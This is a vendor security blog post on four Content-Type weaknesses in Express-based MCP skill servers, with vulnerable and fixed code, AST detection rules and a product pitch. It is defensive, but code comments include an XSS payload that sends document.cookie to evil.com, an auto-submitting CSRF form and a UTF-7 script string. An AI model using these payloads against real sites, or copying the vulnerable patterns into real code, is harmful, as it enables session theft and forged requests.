Claude Skill Content-Type Security: How Missing Headers Enable XSS via MIME Sniffing
The choice between res.send(JSON.stringify(data)) and res.json(data) looks cosmetic but is a security boundary. When an MCP skill uses res.send() without an explicit Content-Type: application/json header, browsers MIME-sniff the response body. If any user-controlled string in that body resembles HTML — a repository description, an audit finding title, a file path — legacy browsers and enterprise proxies can execute it as a script. That single missing header is the entry point to reflected XSS in an MCP skill's web dashboard. And it is only the first of four content-type attack vectors in this family. This post covers all four SA-SKL-CONTENTTYPE patterns: the full mechanics, the code paths, and a layered defense ladder that eliminates the entire class.
Why content-type attacks are wider in MCP skills than conventional APIs
A REST API in a typical web application returns JSON consumed by a JavaScript client running in the same browser tab. The browser already has the application loaded; MIME sniffing against an API endpoint is a narrow-window attack that requires the response to be loaded in a navigation context rather than via fetch(). MCP skills change this threat model in two ways.
Tool results are rendered in multiple contexts. An MCP skill's HTTP response travels through the MCP protocol layer, potentially through a proxy or gateway, into Claude's context, and then into a web dashboard that surfaces the finding to users. At each hop, the declared Content-Type can be stripped, ignored, or re-interpreted. A missing header on the upstream MCP server propagates downstream to every rendering surface.
User-controlled data flows directly into skill responses. When SkillAudit's audit tools return findings for a GitHub repository, the repository name, description, and file paths are attacker-controlled. If those strings reach res.send() without sanitization and without a Content-Type: application/json header, any string containing <script> or <!DOCTYPE html> can trigger MIME sniffing in a browser that navigates to the response URL directly — a common developer pattern when debugging audit APIs.
The four SA-SKL-CONTENTTYPE patterns form a layered attack surface that can only be fully closed with layered defenses: res.json() for the base layer, X-Content-Type-Options: nosniff for legacy browsers, explicit Content-Type enforcement on request bodies to block CSRF, and static header values to block charset injection.
CONTENTTYPE-001: res.send() without Content-Type enables MIME-sniffing XSS
When Express receives a call to res.send(stringValue) where the argument is a string, it sets Content-Type: text/html by default for strings — not application/json. This is by design: Express infers that a string argument is probably HTML. When the developer manually serializes JSON with JSON.stringify() and passes the result to res.send(), Express dutifully declares the response as text/html even though the body is JSON.
Now add a user-controlled string in the JSON body — say, an attacker's repository description — that starts with <!DOCTYPE html><script>. Internet Explorer, some enterprise proxy inspection engines, and older Chromium builds apply MIME sniffing: they peek at the first 256 bytes of the response body and infer the actual type from content rather than the declared header. When the content starts with a DOCTYPE or script tag, they execute it as HTML. The XSS fires in the context of the skill's domain.
// VULNERABLE: res.send() with manually-stringified JSON — Express defaults to text/html
app.post('/api/skill/get_findings', async (req, res) => {
const { repoUrl } = req.body;
const findings = await db.findings.findAll({ repoUrl });
// Express sets Content-Type: text/html when given a string argument.
// If any finding.title or repoUrl starts with <!DOCTYPE or <script>,
// legacy browsers MIME-sniff the response and execute the body as HTML.
res.send(JSON.stringify({ findings, repoUrl }));
});
// Attack vector:
// Attacker repository description: "<!DOCTYPE html><script>fetch('https://evil.com/?c='+document.cookie)</script>"
// Developer navigates to: https://skillaudit.dev/api/skill/get_findings?repoUrl=evil-repo
// IE / enterprise proxy sniffs DOCTYPE prefix → executes script → cookie exfiltrated
The fix is a single-token change: replace res.send(JSON.stringify(...)) with res.json(...). Express's res.json() method always sets Content-Type: application/json; charset=utf-8 before writing the body. No MIME sniffing is possible against a correctly-declared JSON response.
// FIXED: res.json() always sets Content-Type: application/json; charset=utf-8
app.post('/api/skill/get_findings', async (req, res) => {
const { repoUrl } = req.body;
const findings = await db.findings.findAll({ repoUrl });
return res.json({ findings, repoUrl }); // Safe — header always set
});
// Defense-in-depth: ESLint rule banning res.send() on API routes
// .eslintrc.json:
// "no-restricted-properties": ["error", {
// "object": "res", "property": "send",
// "message": "Use res.json() on JSON API routes — res.send() defaults to text/html"
// }]
Linting enforces the boundary. An ESLint no-restricted-properties rule on res.send turns a code-review note into a CI failure. It costs nothing to add and prevents the entire CONTENTTYPE-001 class from re-emerging as the codebase grows.
CONTENTTYPE-002: Missing X-Content-Type-Options: nosniff
Even when Content-Type: application/json is set correctly, Internet Explorer 8 and some enterprise HTTP inspection proxies can still override the declared type. The X-Content-Type-Options: nosniff response header is a browser instruction to honor the declared type and never apply content sniffing regardless of what the body resembles. Without it, there is a residual attack surface against older browsers and proxy configurations.
The practical scenario: a skill endpoint that serves text/plain exports (audit summaries, finding lists) is vulnerable when the plaintext content starts with script-like strings. Without nosniff, IE will execute text/plain responses that look like script as JavaScript. This is not theoretical — it was an actively exploited IE8 vector, and enterprise environments routinely run IE-compatibility modes.
// VULNERABLE: no X-Content-Type-Options: nosniff
app.get('/api/skill/export_text', async (req, res) => {
const { repoUrl } = req.query as { repoUrl: string };
const summary = await generateTextSummary(repoUrl);
res.setHeader('Content-Type', 'text/plain');
// Missing: res.setHeader('X-Content-Type-Options', 'nosniff')
// IE8 may execute this as script if summary starts with script-like content
return res.send(summary);
});
// FIXED: use helmet() — sets X-Content-Type-Options: nosniff globally
import helmet from 'helmet';
const app = express();
app.use(helmet()); // Also sets X-Frame-Options, Referrer-Policy, and more
// All responses now include X-Content-Type-Options: nosniff
The SA-SKL-CONTENTTYPE SEO reference lists the full detection logic SkillAudit applies to identify CONTENTTYPE-002: an AST pass that checks for Express app setup without helmet() or a manual setHeader('X-Content-Type-Options', 'nosniff') call in the application entry point. A skill that passes CONTENTTYPE-001 but fails CONTENTTYPE-002 receives a MEDIUM severity finding.
CONTENTTYPE-003: Global express.urlencoded() enables CSRF via form submission
This is the most counterintuitive pattern in the CONTENTTYPE family. The common developer mistake is adding express.urlencoded({ extended: true }) as global middleware alongside express.json(). The intent is to support form submissions somewhere in the application — perhaps a waitlist signup form, an OAuth callback, an admin panel. The unintended consequence is that every JSON API endpoint in the application now accepts application/x-www-form-urlencoded bodies.
This matters because application/x-www-form-urlencoded is a simple content type in the CORS specification. Simple content types do not trigger a CORS preflight; they can be submitted cross-origin by any HTML <form> element without restriction. An attacker who hosts an HTML page with a hidden form that auto-submits to https://skillaudit.dev/api/skill/run_audit will have that form submission processed if the user has an active session cookie — because SameSite=Lax permits top-level navigation form submissions, and because the urlencoded body parser will read the form data into req.body.
// VULNERABLE: global urlencoded() middleware makes all API routes CSRF-vulnerable
const app = express();
app.use(express.json());
app.use(express.urlencoded({ extended: true })); // Global — applied to ALL routes
// API route that expects JSON — but now accepts form-encoded bodies too:
app.post('/api/skill/run_audit', authMiddleware, async (req, res) => {
const { repoUrl, plan } = req.body; // Both JSON and form-encoded bodies work
await auditQueue.enqueue({ repoUrl, plan, userId: req.user.id });
return res.json({ queued: true });
});
// CSRF attack HTML page (attacker.com):
// <form method="POST" action="https://skillaudit.dev/api/skill/run_audit">
// <input type="hidden" name="repoUrl" value="https://github.com/evil/payload">
// <input type="hidden" name="plan" value="team">
// </form>
// <script>document.forms[0].submit();</script>
// SameSite=Lax does NOT prevent this — Lax allows cross-site form POST
// for top-level navigations in some browser versions
// FIXED: scope urlencoded() only to form-handling routes; enforce JSON on /api/*
const app = express();
app.use(express.json());
// Do NOT add express.urlencoded() globally
// Add it only to routes that explicitly handle forms:
app.post('/oauth/callback', express.urlencoded({ extended: false }), oauthCallbackHandler);
app.post('/waitlist', express.urlencoded({ extended: false }), waitlistHandler);
// Add a middleware to enforce Content-Type: application/json on all /api/* routes:
app.use('/api', (req, res, next) => {
if (!['GET', 'HEAD', 'OPTIONS'].includes(req.method)) {
const ct = req.headers['content-type'] || '';
if (!ct.startsWith('application/json')) {
return res.status(415).json({ error: 'Content-Type must be application/json' });
}
}
next();
});
SameSite=Lax does not fully protect against this. SameSite=Lax prevents cookie transmission on cross-site fetch() calls and XMLHttpRequest calls, but it allows cookies on cross-site form POSTs that constitute a top-level navigation. Browser behavior varies. The safe fix is to never accept URL-encoded bodies on API routes, not to rely on cookie SameSite attributes alone.
CONTENTTYPE-004: Charset parameter injection via reflected proxy headers
This is a narrower attack that remains relevant in enterprise environments. Some enterprise HTTP gateways and reverse proxies forward the client's Accept-Charset request header back to the origin server, which may then reflect it into the Content-Type response header as a charset= parameter. If an MCP skill constructs its Content-Type header by string-interpolating the Accept-Charset value, an attacker can inject charset=utf-7 into the response header.
Internet Explorer interprets UTF-7 as executable content. The +ADw-script+AD4-alert(1)+ADw-/script+AD4- sequence is UTF-7 for <script>alert(1)</script>. If an attacker can induce the server to respond with Content-Type: application/json; charset=utf-7 and the response body contains this UTF-7 sequence (injected via any user-controlled field), IE executes it as script.
// VULNERABLE: reflecting Accept-Charset request header into Content-Type response
app.get('/api/skill/get_audit', async (req, res) => {
const charset = req.headers['accept-charset'] || 'utf-8';
// VULNERABLE: charset is attacker-controlled via Accept-Charset header
// Attacker sends: Accept-Charset: utf-7
// Server responds: Content-Type: application/json; charset=utf-7
res.setHeader('Content-Type', `application/json; charset=${charset}`);
const audit = await db.audits.findById(req.query.id);
return res.send(JSON.stringify(audit));
});
// Attack:
// GET /api/skill/get_audit?id=1 HTTP/1.1
// Accept-Charset: utf-7
// <- Response: Content-Type: application/json; charset=utf-7
// If audit.description contains +ADw-script+AD4-... IE executes it
// FIXED: always use a static, literal Content-Type header value
app.get('/api/skill/get_audit', async (req, res) => {
// Never reflect request headers into Content-Type; use a literal string always
const audit = await db.audits.findById(req.query.id as string);
return res.json(audit); // res.json() always sets charset=utf-8 as a literal
});
// Defense-in-depth: Content Security Policy
// response header: Content-Security-Policy: default-src 'self'
// Blocks inline script execution even if charset confusion somehow occurs
The practical fix ladder for content-type security in MCP skills
The four CONTENTTYPE patterns form a natural layered defense stack. Each layer closes a distinct attack vector independently of the others. Implement them in order and you close the entire class:
Layer 1: res.json() everywhere. Replace every res.send(JSON.stringify(...)) with res.json(...). Add an ESLint rule to prevent regression. This closes CONTENTTYPE-001 and also closes CONTENTTYPE-004 (since res.json() always uses a static charset=utf-8 literal, never a reflected value). Effort: one pass through API routes, one ESLint rule.
Layer 2: helmet() as global middleware. npm install helmet and add app.use(helmet()) as the first middleware in your Express app. This sets X-Content-Type-Options: nosniff, X-Frame-Options: DENY, Referrer-Policy: no-referrer, and several other security headers on every response with no additional configuration. This closes CONTENTTYPE-002. Effort: one line of code.
Layer 3: Scope express.urlencoded() to form routes only. Remove express.urlencoded() from global middleware. Add it inline on the specific routes that handle HTML form submissions. Add a 415 Content-Type enforcement middleware on /api/* routes. This closes CONTENTTYPE-003. Effort: audit your route file for form endpoints, two middleware changes.
Layer 4: Content Security Policy. Add a Content-Security-Policy header that restricts script sources to 'self'. This is defense-in-depth: even if MIME confusion somehow occurs and a script-like body reaches a browser, CSP prevents inline script execution. helmet() includes a basic CSP by default; tune it with helmet.contentSecurityPolicy({ directives: { ... } }).
Total effort: under 30 minutes. The full fix for all four CONTENTTYPE patterns is: (1) global search-replace res.send(JSON.stringify( → res.json( across the codebase, (2) app.use(helmet()) in app.ts, (3) remove global express.urlencoded() and scope it to form routes. These three changes close the entire class. SkillAudit's CI webhook catches any regression on the next commit.
How SkillAudit detects CONTENTTYPE patterns
SkillAudit's static analysis engine applies four AST rules to detect SA-SKL-CONTENTTYPE patterns, all running against TypeScript/JavaScript source code using tree-sitter with TypeScript grammar.
// Detection summary (SkillAudit AST rules):
// CONTENTTYPE-001: res.send() with stringified argument
// Rule: CallExpression where
// callee = MemberExpression { object: "res", property: "send" }
// AND argument is JSON.stringify() call OR string variable NOT preceded by
// res.setHeader('Content-Type', ...) on same response path
// Severity: HIGH
// CONTENTTYPE-002: no X-Content-Type-Options header
// Rule: Express app setup (app = express()) with no subsequent
// app.use(helmet()) OR app.use((req,res,next)=>{ res.setHeader('X-Content-Type-Options','nosniff')... })
// Severity: MEDIUM
// CONTENTTYPE-003: global express.urlencoded() without route scoping
// Rule: app.use(express.urlencoded(...)) call at top-level app setup
// (not inside a router.post() or route-specific middleware array)
// Severity: HIGH
// CONTENTTYPE-004: Content-Type header with interpolated or reflected value
// Rule: res.setHeader('Content-Type', template_literal_or_variable)
// where the charset parameter is not a string literal "utf-8"
// Severity: MEDIUM
| Pattern ID | Severity | Detection method | Fix |
|---|---|---|---|
| CONTENTTYPE-001 | HIGH | AST: res.send(JSON.stringify(...)) or string arg without Content-Type set |
res.json(data) |
| CONTENTTYPE-002 | MEDIUM | AST: Express setup without helmet() or manual nosniff header |
app.use(helmet()) |
| CONTENTTYPE-003 | HIGH | AST: global express.urlencoded() in app setup (not route-scoped) |
Scope to form routes; enforce JSON on /api/* |
| CONTENTTYPE-004 | MEDIUM | AST: res.setHeader('Content-Type', ...) with non-literal charset parameter |
res.json() with static charset literal |
The common thread: trust boundaries in HTTP response headers
All four CONTENTTYPE patterns share the same root cause: the skill's HTTP layer does not fully own its own response type declaration. CONTENTTYPE-001 delegates the Content-Type to Express's default inference. CONTENTTYPE-002 relies on the browser to honor the declared type without enforcement. CONTENTTYPE-003 accepts content types it did not intend to serve. CONTENTTYPE-004 reflects an attacker-controlled value into the header it should control absolutely.
The fix in every case is to make the skill's HTTP layer sovereign over its own Content-Type declarations: declare explicitly, enforce with middleware, never infer, never reflect. res.json() is not a convenience method — it is the declaration that this endpoint owns its own response type. helmet() is not optional polish — it is the enforcement layer that ensures the browser cannot override that declaration.
See also: SA-SKL-CONTENTTYPE full reference, SA-SKL-CSRF: cross-site request forgery in MCP HTTP endpoints, SA-SKL-XSS: cross-site scripting in MCP skill output rendering.
Audit your skill's Content-Type headers today. Run a free SkillAudit scan on your MCP server or Claude skill repository. The SA-SKL-CONTENTTYPE module checks all four CONTENTTYPE patterns in under 60 seconds and returns remediation-ready code diffs. Free tier: 3 audits/month on public repos, public badge included.